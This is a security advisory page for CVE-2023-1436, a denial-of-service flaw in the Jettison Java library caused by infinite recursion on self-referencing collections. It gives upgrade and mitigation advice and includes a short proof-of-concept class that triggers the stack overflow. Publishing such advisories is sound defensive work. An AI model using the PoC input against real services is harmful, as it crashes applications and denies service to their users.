Denial of Service (DoS) Affecting org.codehaus.jettison:jettison package, versions [,1.5.4)


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.09% (39th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Denial of Service (DoS) vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-JAVA-ORGCODEHAUSJETTISON-3367610
  • published22 Mar 2023
  • disclosed22 Mar 2023
  • creditJFrog Research Team

Introduced: 22 Mar 2023

CVE-2023-1436  (opens in a new tab)
CWE-400  (opens in a new tab)

How to fix?

Upgrade org.codehaus.jettison:jettison to version 1.5.4 or higher.

Overview

Affected versions of this package are vulnerable to Denial of Service (DoS) due to infinite recursion, when constructing a JSONArray from a Collection that contains a self-reference in one of its elements. Exploiting this vulnerability results in a StackOverflowError exception being thrown.

Mitigation

Wrap Jettison's JSONArray constructor with exception handling:

try {
    JSONArray jsonArray = new JSONArray(list);
}
catch(StackOverflowError e) {
    System.err.println("ERROR: Stack limit reached");
}

PoC

public class POC {
    public static void main(String[] args) throws JSONException {
        ArrayList<Object> list = new ArrayList<>();
        list.add(list);
        JSONArray jsonArray = new JSONArray(list);
    }
}

CVSS Scores

version 3.1